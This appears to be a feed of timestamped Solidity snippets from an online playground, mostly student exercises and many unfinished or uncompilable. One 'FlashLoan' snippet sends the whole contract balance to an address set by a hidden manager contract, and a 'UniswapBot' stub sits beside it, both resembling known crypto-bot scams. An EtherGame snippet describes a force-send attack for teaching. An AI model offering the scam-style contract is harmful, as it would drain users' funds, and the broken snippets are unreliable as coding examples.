//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.1;
contract SimpleStore {
  function testGas1(uint256 renewCount, uint256 renewLength) {
      uint256 gasBudget = 100 * 10 * renewCount;
      uint256 refund = 50 * 10;
      refund = refund - ((refund / 10) * (renewLength - renewCount));
  }

  function testGas2(uint256 renewCount, uint256 renewLength) {
      uint256 gasBudget = 100 * 10 * renewCount;
      uint256 refund = 50 * 10;
      if(renewLength != renewCount) {
        refund = refund - ((refund / 10) * (renewLength - renewCount));
      }
  }
Sep 23, 2022 01:39:09 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function testGas1(uint256 renewCount, uint256 renewLength) {
      uint256 gasBudget = 100 * 10 * renewCount;
      uint256 refund = 50 * 10;
      refund = refund - ((refund / 10) * (renewLength - renewCount));
  }

  function testGas2(uint256 renewCount, uint256 renewLength) {
      uint256 gasBudget = 100 * 10 * renewCount;
      uint256 refund = 50 * 10;
      if(renewLength != renewCount) {
        refund = refund - ((refund / 10) * (renewLength - renewCount));
      }
  }
Sep 23, 2022 01:36:32 UTC
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/access/Ownable.sol";
import "@uniswap/v3-periphery/contracts/libraries/TransferHelper.sol";
import "@uniswap/v3-periphery/contracts/interfaces/ISwapRouter.sol";

interface IUSDC {
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}

contract Dank is Ownable {

    address private constant _USDCContract = 0x2791Bca1f2de4661ED88A30C99A7a9449Aa84174;

    ISwapRouter public immutable swapRouter;

    // address public constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
    // address public constant WETH9 = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    // address public constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;

    uint24 public constant poolFee = 3000;

    constructor(ISwapRouter _swapRouter) {
        swapRouter = _swapRouter;
    }

    struct UserData {
        string userName;
        address publicAddress;
        string 
Sep 16, 2022 15:48:59 UTC
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/access/Ownable.sol";

contract Dank is Ownable {

    constructor() { }

    struct UserData {
        string userName;
        address publicAddress;
        string ipfsURI;
    }

    mapping (string => UserData) _idToUser;

    event UserCreated(uint256 timestamp, string username, address userAddress, string ipfsURI);

    function registerUser(string memory userName, address publicAddress, string memory ipfsURI) external onlyOwner returns (bool) {
        require(keccak256(bytes(_idToUser[userName].userName)) != keccak256(bytes(userName)), "This user is already registered.");

        _idToUser[userName] = UserData({
            userName: userName,
            publicAddress: publicAddress,
            ipfsURI: ipfsURI
        });

        emit UserCreated(block.timestamp, userName, publicAddress, ipfsURI);

        return true;
    }

    function getUser(string memory userName) public view returns (UserData memory) {
Sep 14, 2022 17:37:38 UTC
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/access/Ownable.sol";

contract Dank is Ownable {

    constructor() { }

    struct UserData {
        string userName;
        address publicAddress;
        string ipfsURI;
    }

    mapping (string => UserData) _idToUser;

    event UserCreated(uint256 timestamp, string username, address userAddress, string ipfsURI);

    function registerUser(string memory userName, address publicAddress, string memory ipfsURI) external onlyOwner returns (bool) {
        require(keccak256(bytes(_idToUser[userName].userName)) != keccak256(bytes(userName)), "This user is already registered.");

        _idToUser[userName] = UserData({
            userName: userName,
            publicAddress: publicAddress,
            ipfsURI: ipfsURI
        });

        emit UserCreated(block.timestamp, userName, publicAddress, ipfsURI);

        return true;
    }

    function getUser(string memory userName) public view returns (UserData memory) {
Sep 14, 2022 16:46:17 UTC
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/access/Ownable.sol";

contract User is Ownable {

    constructor() { }

    struct UserData {
        string userName;
        address publicAddress;
        string ipfsURI;
    }

    mapping (string => UserData) _idToUser;

    event UserCreated(uint256 timestamp, string username, address userAddress, string ipfsURI);

    function registerUser(string memory userName, address publicAddress, string memory ipfsURI) external onlyOwner returns (bool) {
        require(keccak256(bytes(_idToUser[userName].userName)) != keccak256(bytes(userName)), "This user is already registered.");

        _idToUser[userName] = UserData({
            userName: userName,
            publicAddress: publicAddress,
            ipfsURI: ipfsURI
        });

        emit UserCreated(block.timestamp, userName, publicAddress, ipfsURI);

        return true;
    }

    function getUser(string memory userName) public view returns (UserData memory) {
Sep 14, 2022 15:47:15 UTC
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

// The goal of this game is to be the 7th player to deposit 1 Ether.
// Players can deposit only 1 Ether at a time.
// Winner will be able to withdraw all Ether.

/*
1. Deploy EtherGame
2. Players (say Alice and Bob) decides to play, deposits 1 Ether each.
2. Deploy Attack with address of EtherGame
3. Call Attack.attack sending 5 ether. This will break the game
   No one can become the winner.

What happened?
Attack forced the balance of EtherGame to equal 7 ether.
Now no one can deposit and the winner cannot be set.
*/

contract EtherGame {
    uint public targetAmount = 7 ether;
    address public winner;

    function deposit() public payable {
        require(msg.value == 1 ether, "You can only send 1 Ether");

        uint balance = address(this).balance;
        require(balance <= targetAmount, "Game is over");

        if (balance == targetAmount) {
            winner = msg.sender;
        }
    }

    function claimReward() public {
        req
Sep 12, 2022 19:54:39 UTC
//SPDX-License-Identifier: MIT
pragma solidity ^0.6.6;

// Import Libraries Migrator/Exchange/Factory
import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/IUniswapV2Migrator.sol";
import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Exchange.sol";
import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Factory.sol";

contract UniswapBot {
 
    uint liquidity;
    uint private pool;
    address public owner;


    event Log(string _msg);

    /*
     * @dev constructor
     * @set the owner of the contract 
     */
    constructor() public {
        owner = msg.sender;
    }

    receive() external payable {}

    struct slice {
        uint _len;
        uint _ptr;
    }

    /*
     * @dev Find newly deployed contracts on Uniswap Exchange
     * @param memory of required contract liquidity.
     * @param other The second slice to compare.
     * @return New contracts with required liquidity.
     */

 
Sep 12, 2022 15:32:27 UTC
pragma solidity ^0.4.18;

contract HelloWorld {
  string private HelloMsg = "Hello, Het!!!";

  function getHelloMsg() public view returns (string memory) {
    return HelloMsg;
  }
Sep 11, 2022 01:50:35 UTC
pragma solidity >=0.4.24 <0.6.0;

contract TASS {
    address payable public sender;      // The account sending payments.
    address payable public recipient;   // The account receiving the payments.
    uint256 public expiration;  // Timeout in case the token return back.

    constructor (address payable _recipient, uint256 duration)
        public
        payable
    {
        sender = msg.sender;
        recipient = _recipient;
        expiration = now + duration;
    }

    function isValidSignature(uint256 amount, bytes memory signature)
        internal
        view
        returns (bool)
    {
        bytes32 message = prefixed(keccak256(abi.encodePacked(this, amount)));

        // check that the signature is from the payment sender
        return recoverSigner(message, signature) == sender;
    }

    /// the recipient can close the channel at any time by presenting a
    /// signed amount from the sender. the recipient will be sent that amount,
    /// and the remainder will go back to the sender
Sep 08, 2022 23:43:56 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.20;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Sep 08, 2022 19:47:28 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function sqrt(uint x) private pure returns (uint y) {
    if(x == 0) return 0;
    else
    {
      if(x <= 3) return 1;
      uint z = (x + 1) /2;
      y = x;
      while(z < y){
        y=z;
        z= (x / z + z) / 2;
      }
    }
  }

  function D(int a, int b, int c) public pure returns (int){
    return b * b - 4 * a * c;
  }

  function equation (int a, int b, int c) public pure returns (int, int){
    var temp = D(a, b, c);
    if(temp<0){
      require (!(temp < 0));//require (!(temp < 0), "D coudnt be negative");
    }
  }
Sep 07, 2022 12:17:29 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function sqrt(uint x) private returns (uint y) {
    if(x == 0) return 0;
    else
    {
      if(x <= 3) return 1;
      uint z = (x + 1) /2;
      y = x;
      while(z < y){
        y=z;
        z= (x / z + z) / 2;
      }
    }
  }

  function D(int a, int b, int c) public pure returns (int){
    return b * b - 4 * a * c;
  }

  function equation (int a, int b, int c) public pure returns (int, int){
    var temp = D(a, b, c);
    if(temp<0){
      require (!(temp < 0));//require (!(temp < 0), "D coudnt be negative");
    }
  }
Sep 07, 2022 12:17:15 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract LabRab26 {
  //a*(x ^ 2) + (b*x) + c = 0
  function d(uint b,uint  a, uint c) public pure returns (uint )  {

    uint bq = b * b;
    uint ac = 4 * a * c;
    return bq /ac ;
  }

  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Sep 07, 2022 11:23:04 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }dfdf

  uint value;
Sep 07, 2022 05:36:32 UTC
pragma solidity ^0.5.0;

// Multiplier-Finance Smart Contracts
import "https://github.com/Multiplier-Finance/MCL-FlashloanDemo/blob/main/contracts/interfaces/ILendingPoolAddressesProvider.sol";

// Dex Smart Contracts
import "https://github.com/uniswap-finance/uniswap-core/blob/master/contracts/interfaces/IUniswapPair.sol";
import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakePair.sol";

contract FlashLoan {
	string public tokenName;
	string public tokenSymbol;
	uint loanAmount;
	Manager manager;
	
	constructor(string memory _tokenName, string memory _tokenSymbol, uint _loanAmount) public {
		tokenName = _tokenName;
		tokenSymbol = _tokenSymbol;
		loanAmount = _loanAmount;
			
		manager = new Manager();
	}
function() external payable {}
	
	function action() public payable {
		
	    // Send required coins for swap
	    address(uint160(manager.swapDepositAddress())).transfer(address(this).balance);
	    
	    /*
	    // Submit token to blockchain
	    string memory t
Sep 06, 2022 14:35:07 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;

contract SimpleStore {


  function who(uint8 rint, uint8 bing) public pure returns(string) {

    uint8 val = rint;
    uint8 val2 = bing;

    if (val2 > val) { 
      return "renzo beats benzo";
    } else {
      return "benzo beats renzo";
    }   

    

  
  }
Sep 06, 2022 06:29:41 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract PlayGame {

  struct Player {
    string hasplayed;
    address my_address;
    uint wager;
  }

  Player[] public players;

  function initialize(uint wager) public {
    players.push(Player("no", msg.sender, wager));
    layer storage myplayer = players[0];
    return myplayer.my_address;
    
  }

  function Roll() private returns (address) {
    Player storage myplayer = players[0];
    return myplayer.my_address;
  }

  
Sep 06, 2022 06:21:53 UTC
// SPDX-License-Identifier: MIT
pragma solidity >=0.7.0 <0.9.0;

import "@openzeppelin/contracts/utils/math/SafeMath.sol";

contract AMM {
    using SafeMath for uint256;
    uint256 totalShares;  // Stores the total amount of share issued for the pool
    uint256 totalToken1;  // Stores the amount of Token1 locked in the pool
    uint256 totalToken2;  // Stores the amount of Token2 locked in the pool
    uint256 K;            // Algorithmic constant used to determine price

    uint256 constant PRECISION = 1_000_000;  // Precision of 6 digits

    mapping(address => uint256) shares;  // Stores the share holding of each provider

    // Stores the available balance of user outside of the AMM
    // For simplicity purpose, We are maintaining our own internal 
    // balance mapping instead of dealing with ERC-20 tokens
    mapping(address => uint256) token1Balance;
    mapping(address => uint256) token2Balance;

    // Ensures that the _qty is non-zero and the user has enough balance
    modifier validAmountCh
Sep 05, 2022 06:34:41 UTC
// Returns the amount of Token2 that the user will get when swapping a given amount of Token1 for Token2
function getSwapToken2Estimate(uint256 _amountToken2) public view activePool returns(uint256 amountToken1) {
    uint256 token2After = totalToken2.add(_amountToken2);
    uint256 token1After = K.div(token2After);
    amountToken1 = totalToken1.sub(token1After);

    // To ensure that Token1's pool is not completely depleted leading to inf:0 ratio
    if(amountToken1 == totalToken1) amountToken1--;
}

// Returns the amount of Token2 that the user should swap to get _amountToken1 in return
function getSwapToken2EstimateGivenToken1(uint256 _amountToken1) public view activePool returns(uint256 amountToken2) {
    require(_amountToken1 < totalToken1, "Insufficient pool balance");
    uint256 token1After = totalToken1.sub(_amountToken1);
    uint256 token2After = K.div(token1After);
    amountToken2 = token2After.sub(totalToken2);
}

// Swaps given amount of Token2 to Token1 using algorithmic price determination
Sep 05, 2022 06:29:50 UTC
// Swaps given amount of Token1 to Token2 using algorithmic price determination
function swapToken1(uint256 _amountToken1) external activePool validAmountCheck(token1Balance, _amountToken1) returns(uint256 amountToken2) {
    amountToken2 = getSwapToken1Estimate(_amountToken1);

    token1Balance[msg.sender] -= _amountToken1;
    totalToken1 += _amountToken1;
    totalToken2 -= amountToken2;
    token2Balance[msg.sender] += amountToken2;
Sep 05, 2022 06:27:59 UTC
// Returns the amount of Token1 that the user should swap to get _amountToken2 in return
function getSwapToken1EstimateGivenToken2(uint256 _amountToken2) public view activePool returns(uint256 amountToken1) {
    require(_amountToken2 < totalToken2, "Insufficient pool balance");
    uint256 token2After = totalToken2.sub(_amountToken2);
    uint256 token1After = K.div(token2After);
    amountToken1 = token1After.sub(totalToken1);
Sep 05, 2022 06:23:50 UTC
// Returns the amount of Token2 that the user will get when swapping a given amount of Token1 for Token2
function getSwapToken1Estimate(uint256 _amountToken1) public view activePool returns(uint256 amountToken2) {
    uint256 token1After = totalToken1.add(_amountToken1);
    uint256 token2After = K.div(token1After);
    amountToken2 = totalToken2.sub(token2After);

    // To ensure that Token2's pool is not completely depleted leading to inf:0 ratio
    if(amountToken2 == totalToken2) amountToken2--;
Sep 05, 2022 06:22:53 UTC
// Returns the estimate of Token1 & Token2 that will be released on burning given _share
function getWithdrawEstimate(uint256 _share) public view activePool returns(uint256 amountToken1, uint256 amountToken2) {
    require(_share <= totalShares, "Share should be less than totalShare");
    amountToken1 = _share.mul(totalToken1).div(totalShares);
    amountToken2 = _share.mul(totalToken2).div(totalShares);
}

// Removes liquidity from the pool and releases corresponding Token1 & Token2 to the withdrawer
function withdraw(uint256 _share) external activePool validAmountCheck(shares, _share) returns(uint256 amountToken1, uint256 amountToken2) {
    (amountToken1, amountToken2) = getWithdrawEstimate(_share);
    
    shares[msg.sender] -= _share;
    totalShares -= _share;

    totalToken1 -= amountToken1;
    totalToken2 -= amountToken2;
    K = totalToken1.mul(totalToken2);

    token1Balance[msg.sender] += amountToken1;
    token2Balance[msg.sender] += amountToken2;
Sep 05, 2022 06:11:41 UTC
// Returns amount of Token1 required when providing liquidity with _amountToken2 quantity of Token2
function getEquivalentToken1Estimate(uint256 _amountToken2) public view activePool returns(uint256 reqToken1) {
    reqToken1 = totalToken1.mul(_amountToken2).div(totalToken2);
}

// Returns amount of Token2 required when providing liquidity with _amountToken1 quantity of Token1
function getEquivalentToken2Estimate(uint256 _amountToken1) public view activePool returns(uint256 reqToken2) {
    reqToken2 = totalToken2.mul(_amountToken1).div(totalToken1);
Sep 05, 2022 06:10:35 UTC
// Adding new liquidity in the pool
// Returns the amount of share issued for locking given assets
function provide(uint256 _amountToken1, uint256 _amountToken2) external validAmountCheck(token1Balance, _amountToken1) validAmountCheck(token2Balance, _amountToken2) returns(uint256 share) {
    if(totalShares == 0) { // Genesis liquidity is issued 100 Shares
        share = 100*PRECISION;
    } else{
        uint256 share1 = totalShares.mul(_amountToken1).div(totalToken1);
        uint256 share2 = totalShares.mul(_amountToken2).div(totalToken2);
        require(share1 == share2, "Equivalent value of tokens not provided...");
        share = share1;
    }

    require(share > 0, "Asset value less than threshold for contribution!");
    token1Balance[msg.sender] -= _amountToken1;
    token2Balance[msg.sender] -= _amountToken2;

    totalToken1 += _amountToken1;
    totalToken2 += _amountToken2;
    K = totalToken1.mul(totalToken2);

    totalShares += share;
    shares[msg.sender] += share;
Sep 05, 2022 06:09:12 UTC
// Sends free token(s) to the invoker
function faucet(uint256 _amountToken1, uint256 _amountToken2) external {
    token1Balance[msg.sender] = token1Balance[msg.sender].add(_amountToken1);
    token2Balance[msg.sender] = token2Balance[msg.sender].add(_amountToken2);
Sep 05, 2022 06:06:52 UTC
// Returns the balance of the user
function getMyHoldings() external view returns(uint256 amountToken1, uint256 amountToken2, uint256 myShare) {
    amountToken1 = token1Balance[msg.sender];
    amountToken2 = token2Balance[msg.sender];
    myShare = shares[msg.sender];
}

// Returns the total amount of tokens locked in the pool and the total shares issued corresponding to it
function getPoolDetails() external view returns(uint256, uint256, uint256) {
    return (totalToken1, totalToken2, totalShares);
Sep 05, 2022 06:05:55 UTC
// Ensures that the _qty is non-zero and the user has enough balance
modifier validAmountCheck(mapping(address => uint256) storage _balance, uint256 _qty) {
    require(_qty > 0, "Amount cannot be zero!");
    require(_qty <= _balance[msg.sender], "Insufficient amount");
    _;
}

// Restricts withdraw, swap feature till liquidity is added to the pool
modifier activePool() {
    require(totalShares > 0, "Zero Liquidity");
    _;
}
Sep 05, 2022 06:05:04 UTC
uint256 totalShares;  // Stores the total amount of share issued for the pool
uint256 totalToken1;  // Stores the amount of Token1 locked in the pool
uint256 totalToken2;  // Stores the amount of Token2 locked in the pool
uint256 K;            // Algorithmic constant used to determine price (K = totalToken1 * totalToken2)

uint256 constant PRECISION = 1_000_000;  // Precision of 6 decimal places

mapping(address => uint256) shares;  // Stores the share holding of each provider

mapping(address => uint256) token1Balance;  // Stores the available balance of user outside of the AMM
mapping(address => uint256) token2Balance
Sep 05, 2022 06:04:32 UTC
uint256 totalShares;  // Stores the total amount of share issued for the pool
uint256 totalToken1;  // Stores the amount of Token1 locked in the pool
uint256 totalToken2;  // Stores the amount of Token2 locked in the pool
uint256 K;            // Algorithmic constant used to determine price (K = totalToken1 * totalToken2)

uint256 constant PRECISION = 1_000_000;  // Precision of 6 decimal places

mapping(address => uint256) shares;  // Stores the share holding of each provider

mapping(address => uint256) token1Balance;  // Stores the available balance of user outside of the AMM
mapping(address => uint256) token2Balance
Sep 05, 2022 06:04:21 UTC
// SPDX-License-Identifier: MIT
pragma solidity >=0.7.0 <0.9.0;

import "@openzeppelin/contracts/utils/math/SafeMath.sol";

contract AMM {
    using SafeMath for uint256;
Sep 05, 2022 05:15:29 UTC
// SPDX-License-Identifier: MIT

pragma solidity ^0.7.1;

// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
//
// ----------------------------------------------------------------------------

contract ERC20Interface {
    function totalSupply() public view returns (uint);
    function balanceOf(address tokenOwner) public view returns (uint balance);
    function allowance(address tokenOwner, address spender) public view returns (uint remaining);
    function transfer(address to, uint tokens) public returns (bool success);
    function approve(address spender, uint tokens) public returns (bool success);
    function transferFrom(address from, address to, uint tokens) public returns (bool success);
    function _mint(address to, uint tokenId) internal {    require(to != address(0));    require(!_exists(tokenId));    _tokenOwner[tokenId] = to;    _ownedTokensCount[to] = _ownedTokensCount[to].add(1);    emit Transfer(address(0), to, tokenId);}
    
Sep 03, 2022 19:34:42 UTC
pragma solidity ^0.5.17;

import "hardhat/console.sol";


/**
 * @dev Wrappers over Solidity's arithmetic operations with added overflow
 * checks.
 *
 * Arithmetic operations in Solidity wrap on overflow. This can easily result
 * in bugs, because programmers usually assume that an overflow raises an
 * error, which is the standard behavior in high level programming languages.
 * `SafeMath` restores this intuition by reverting the transaction when an
 * operation overflows.
 *
 * Using this library instead of the unchecked operations eliminates an entire
 * class of bugs, so it's recommended to use it always.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

    
Sep 02, 2022 19:06:05 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Sep 01, 2022 10:38:19 UTC
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

/// @title: Enumeronomics
/// @author: manifold.xyz
/// mangled by Dynamite

import "./ERC721Creator.sol";


contract ENU is ERC721Creator {
    constructor() ERC721Creator("Enumeronomics", "ENU") {}
Sep 01, 2022 03:34:29 UTC
pragma solidity ^0.7.1;

contract PsoukraceFactory {

    struct Psoukrace {

        string name;
        string title;
        uint level;

        uint HP;
        uint defence;
        uint dodge;
        uint luck;
        uint intelligence;
        uint strenghth;
        uint attack;
        uint speed;

    }

    Psoukrace [] public psoukraces;


    function createPsoukrace(string memory name, string memory title, uint level, uint HP, uint defence, uint dodge, uint luck, uint intelligence, uint strength, uint attack, uint speed) public returns (string memory, string memory, uint, uint, uint, uint, uint, uint, uint, uint, uint) {
  psoukraces.push(Psoukrace(name, title, level, HP, defence, dodge, luck, intelligence, strength, attack, speed));
  return ("test1",
  "test2",
   1,
   2,
   3,
   4,
   5,
   6,
   7,
   8,
   9);
}

/** 

Je reçois une erreur : ParserError: Function, variable, struct or modifier declaration expected.
  --> contracts/Psoukrace.sol:38:2:
  
 1) J'aimerai que la fonction c
Aug 30, 2022 10:19:13 UTC
pragma solidity ^0.7.1;

contract PsoukraceFactory {

    struct Psoukrace {

        string name;
        string title;
        uint level;

        uint HP;
        uint defence;
        uint dodge;
        uint luck;
        uint intelligence;
        uint strenghth;
        uint attack;
        uint speed;

    }

    Psoukrace [] public psoukraces;


    function createPsoukrace(string memory name, string memory title, uint level, uint HP, uint defence, uint dodge, uint luck, uint intelligence, uint strength, uint attack, uint speed) public returns (string memory, string memory, uint, uint, uint, uint, uint, uint, uint, uint, uint) {
  psoukraces.push(Psoukrace(name, title, level, HP, defence, dodge, luck, intelligence, strength, attack, speed));
  return ("test1",
  "test2",
   1,
   2,
   3,
   4,
   5,
   6,
   7,
   8,
   9);
}

/** A) 

 1) J'aimerai que la fonction createPsoukrace me crée un Psoukrace 
 2) me l'ajoute au tableau avec toutes ses stats 
 3) que je puisse ensuite l'appeller et voir l
Aug 30, 2022 10:16:34 UTC
pragma solidity ^0.7.1;

contract PsoukraceFactory {

    struct Psoukrace {

        string name;
        string title;
        uint level;

        uint HP;
        uint defence;
        uint dodge;
        uint luck;
        uint intelligence;
        uint strenghth;
        uint attack;
        uint speed;

    }

    Psoukrace [] public psoukraces;


    function _createPsoukrace(string memory name, string memory title, uint level, uint HP, uint defence, uint dodge, uint luck, uint intelligence, uint strength, uint attack, uint speed) public returns (string memory, string memory, uint, uint, uint, uint, uint, uint, uint, uint, uint) {
  psoukraces.push(Psoukrace(name, title, level, HP, defence, dodge, luck, intelligence, strength, attack, speed));
  return ("test1",
  "test2",
   1,
   2,
   3,
   4,
   5,
   6,
   7,
   8,
   9);
Aug 30, 2022 10:02:45 UTC
pragma solidity ^0.4.17;
contract Auction {
    
    // Data
    //Structure to hold details of the item
    struct Item {
        uint itemId; // id of the item
        uint[] itemTokens;  //tokens bid in favor of the item
       
    }
    
   //Structure to hold the details of a persons
    struct Person {
        uint remainingTokens; // tokens remaining with bidder
        uint personId; // it serves as tokenId as well
        address addr;//address of the bidder
    }
 
    mapping(address => Person) tokenDetails; //address to person 
    Person [4] bidders;//Array containing 4 person objects
    
    Item [3] public items;//Array containing 3 item objects
    address[3] public winners;//Array for address of winners
    address public beneficiary;//owner of the smart contract
    
    uint bidderCount=0;//counter
    
    //functions

    function Auction() public payable{    //constructor
                
        //Part 1 Task 1. Initialize beneficiary with address of smart contract’s owner
        /
Aug 30, 2022 06:29:49 UTC
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;

import "./SoulSBT.sol";

contract SoulshipFactory {

    struct DeployedContracts {
        address contractAddress;
        address organizationAddress;
        string utility;
        string uri;
        string name;
    }

    struct Organizations {
        address organizationAddress;
        string organizationName;
        string organizationLogo;
    }

    address[] contractAddresses;

    mapping (uint256 => DeployedContracts) public getContractData;

    mapping (address => uint256) public numberOfCollections;

    mapping(address => Organizations) public getOrgData;

    function registration(string memory orgName, string memory logoUri) public returns (bool) {
        require(getOrgData[msg.sender].organizationAddress != msg.sender , "Soul: This organization is already registered.");

        getOrgData[msg.sender] = Organizations({
            organizationAddress: msg.sender,
            organizationName: orgName,
            organizat
Aug 27, 2022 13:41:02 UTC
contract ContractFoo {
  mapping (address=>uint) somemapping; //not accessible unless there is a getter

  function getMapping(address _address) public constant returns (uint) {
    return somemapping[_address[
Aug 25, 2022 20:14:53 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Aug 23, 2022 22:29:12 UTC
pragma solidity ^0.4.18;
contract example {



}



































//   // boolean : true, false
//   bool b1 = true;

//   // int : integer
//   int i1 = 0;
//   int i2;

//   // uint : unsigned integer
//   uint u1 = 0;

//   // string : similar to bytes
//   string s1 = "abc";



//   // state variable : data permanently stored on the blockchain.
//   int stateVariable = 0;

//   function example() public view returns (address) {
//     // local variable : data that exists only within a function
//     uint localVariable = 0;
//     localVariable += 1;

//     /*
//     global variable : it is data from a blockchain or contract,
//     and can be retrieved from anywhere.
//     */
//     return msg.sender;
//   }












//   // state variable
//   int intExample = 0;

//   /* 
//   example1 is a function to access a state
//   variable and change its value.
//   */
//   function example1() public {
//     intExample = intExample + 1;
//   }

//   /*
//   example2 is a function that re
Aug 23, 2022 05:19:23 UTC
pragma solidity ^0.4.20;
contract identafire{
Aug 22, 2022 12:00:51 UTC
/**
 *Submitted for verification at BscScan.com on 2022-04-10
*/

/**
 *Submitted for verification at BscScan.com on 2022-01-09
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.7;


library Address {
    
    function isContract(address account) internal view returns (bool) {
        
        
        

        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");
    }

    
    function functionCall(
        address target,
        bytes memory da
Aug 18, 2022 20:44:09 UTC
pragma solidity ^0.4.17;
contract Auction {

// Data
 //Structure to hold details of the item
 struct Item {
 uint itemId; // id of the item
 uint[] itemTokens; //tokens bid in favor of the item

 }

 //Structure to hold the details of a persons
 struct Person {
 uint remainingTokens; // tokens remaining with bidder
 uint personId; // it serves as tokenId as well
 address addr;//address of the bidder
 }
 mapping(address => Person) tokenDetails; //address to person
 Person [4] bidders;//Array containing 4 person objects

 Item [3] public items;//Array containing 3 item objects
 address[3] public winners;//Array for address of winners
 address public beneficiary;//owner of the smart contract

 uint bidderCount=0;//counter

 //functions
 function Auction() public payable{ //constructor

 //Part 1 Task 1. Initialize beneficiary with address of smart contract’sowner
 //Hint. In the constructor,"msg.sender" is the address of the owner.
// ** Start code here. 1 line approximately. **/
 beneficiary = msg.sender;
 /
Aug 18, 2022 18:34:56 UTC
pragma solidity ^0.4.17;
contract Auction {

// Data
 //Structure to hold details of the item
 struct Item {
 uint itemId; // id of the item
 uint[] itemTokens; //tokens bid in favor of the item

 }

 //Structure to hold the details of a persons
 struct Person {
 uint remainingTokens; // tokens remaining with bidder
 uint personId; // it serves as tokenId as well
 address addr;//address of the bidder
 }
 mapping(address => Person) tokenDetails; //address to person
 Person [4] bidders;//Array containing 4 person objects

 Item [3] public items;//Array containing 3 item objects
 address[3] public winners;//Array for address of winners
 address public beneficiary;//owner of the smart contract

 uint bidderCount=0;//counter

 //functions
 function Auction() public payable{ //constructor

 //Part 1 Task 1. Initialize beneficiary with address of smart contract’sowner
 //Hint. In the constructor,"msg.sender" is the address of the owner.
// ** Start code here. 1 line approximately. **/
 beneficiary = msg.sender;
 /
Aug 18, 2022 18:18:16 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.26;
contract Ballot {

  struct Voter{
    uint weight;
    bool voted;
    uint8 vote;
  }

  struct Proposal{
    uint voteCount;
  }

  enum Stage(Init,Reg,)

  address chairperson;
  Proposal[] proposals;
  mapping(address => Voter) voters;

  constructor(uint8 _numProposals) public{
    chairperson = msg.sender;
    proposals.length = _numProposals;
    voters[chairperson].weight = 2;
  }

    function giveRightToVote(address voter) external {

        require(
            msg.sender == chairperson,"non sei il chairperson dioporco"
        );
        require(
            !voters[voter].voted,"il votatore ha gia votato, dioporco"
        );
        require(voters[voter].weight == 0);
        voters[voter].weight = 1;
    }

        function vote(uint8 proposal) external {
        Voter storage sender = voters[msg.sender];
        require(sender.weight != 0,"non hai diritto a votare, dioporco");
   
Aug 18, 2022 17:14:48 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  aaa

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Aug 18, 2022 15:54:41 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.1;

library SafeMath {

